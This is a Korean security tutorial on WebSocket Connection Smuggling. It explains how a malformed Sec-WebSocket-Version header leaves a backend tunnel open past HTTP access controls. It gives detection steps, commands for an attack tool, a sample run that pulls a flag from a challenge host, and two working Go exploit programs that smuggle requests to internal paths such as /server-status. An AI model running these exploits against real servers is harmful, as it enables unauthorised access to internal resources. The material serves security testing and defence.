Websocket Connection Smuggling

WCS Attack

Introduction

WebSocket

웹 소켓은 단일 요청 비 연결형인 HTTP의 단점을 보완하기 위한 프로토콜로 HTTP 기반의 Handshake 과정과 이후 TCP/TLS 통신을 이용하여 서버와 클라이언트가 지속적으로 소켓 통신할 수 있습니다.

  • Stateful 한 프로토콜
  • 크게 Handshake와 Data transfer의 과정으로 나뉨

많은 웹 소켓은 Data transfer 단계에서 subprotocol을 사용하여 통신합니다. 본 공격과는 무관하지만 알아두면 좋습니다. (sub-protocols)

WebSocket handshake

웹 소켓은 아래와 아래 handshake 과정을 통해 서버와 클라이언트가 연결합니다. 이후에 기존 HTTP 통신에서 WebSocket 통신으로 Switching 됩니다.

WebSocket Connection Smuggling

웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 Connection(wss는 tls, ws는 tcp)이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.

The |Sec-WebSocket-Version| header field in the client’s handshake includes the version of the WebSocket Protocol with which the client is attempting to communicate. If this version does not match a version understood by the server, the server MUST abort the WebSocket handshake described in this section and instead send an appropriate HTTP error code (such as 426 Upgrade Required) and a |Sec-WebSocket-Version| header field indicating the version(s) the server is capable of understanding.

즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다. (G/W 방식이던, Front-End가 별개로 있던 동일합니다)

결국 공격자는 이 터널을 이용해서 백엔드 서버와 통신할 수 있게 됩니다. 이 자체만으로 문제가 되진 않지만, HTTP 기반의 ACL이 있는 경우 일반적인 웹 요청에서 접근하지 못하는 경로에 이 tls/tcp 터널을 이용하여 접근할 수 있게 됩니다.

Offensive techniques

Detect

이를 체크하기 위해선 비정상적인 Sec-WebSocket-Version 헤더를 포함해서 전송하여 Response의 처리 방식을 확인합니다. 보통 426 Response가 오면 취약할 가능성이 존재하며, 여기서 Socket Smuggling하여 다른 Resource를 가져올 수 있는지 체크해야합니다. 이를 쉽게 하기 위해 간단한 도구를 하나 만들었습니다.

websocket-connection-smuggler

Install websocket-connection-smuggler

go get github.com/hahwul/websocket-connection-smuggler

Testing with websocket-conneciton-smuggler

~/go/bin/websocket-connetion-smuggler

Set target

WCS(...) > set target {your target}

Set SSL

# HTTPS
WCS(...) > set ssl true

# HTTP
WCS(...) > set ssl false

Set Original Request

WCS(...) > set o_data
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

Set smuggled request

WCS(...) > set s_data
GET /flag HTTP/1.1
Host: localhost:5000

Running sample

WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

2019/11/30 03:39:15 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Fri, 29 Nov 2019 18:39:15 GMT

{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Fri, 29 Nov 2019 18:39:14 GMT

        �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}�40

Exploitation

WebSocket Connection Smuggling이 확인되면 내부 리소스에 최대한 접근해서 데이터를 뽑아야합니다. Smuggle request의 Host header 등을 수정하면서 접근할 수 있는 리소스를 확인하여 영향력을 증명합니다.

HTTP

package main

import (
    "log"
    "net"
    "io"
)

func main() {
    conn, err := net.Dial("tcp", "target_domain:80")
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
    req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}

HTTPS

package main

import (
    "log"
    "crypto/tls"
    "fmt"
    "io"
)

func main() {
    conf := &tls.Config{
        InsecureSkipVerify: true,
    }
    conn, err := tls.Dial("tcp", "target_domain:443", conf)
    if nil != err {
        log.Fatalf("failed to connect to server")
    }
    req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
    req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
    recvBuf := make([]byte, 4096)
    conn.Write([]byte(req1))
    conn.Read(recvBuf)
    conn.Write([]byte(req2))
    conn.Read(recvBuf)
    fmt.Printf("%s",req1+req2)
    fmt.Println("====")
    log.Printf("%s",recvBuf)
    if nil != err {
        if io.EOF == err {
            log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
            return
        }
        log.Printf("fail to receive data; err: %v", err)
        return
    }
    conn.Close()
}

Defensive techniques

비 정상적인 Sec-WebSocket-Version 헤더가 요청되었을 때 웹 소켓 서버에서 무시하면 됩니다. 보통 어플리케이션/라이브러리단에서 패치가 나왔을 가능성이 높고, 나왔다면 패치를 적용해주시면 됩니다.

Tools

  • https://github.com/hahwul/ws-smuggler
  • https://github.com/hahwul/websocket-connection-smuggler
  • https://github.com/hahwul/websocket-connection-smuggling-go

Articles

References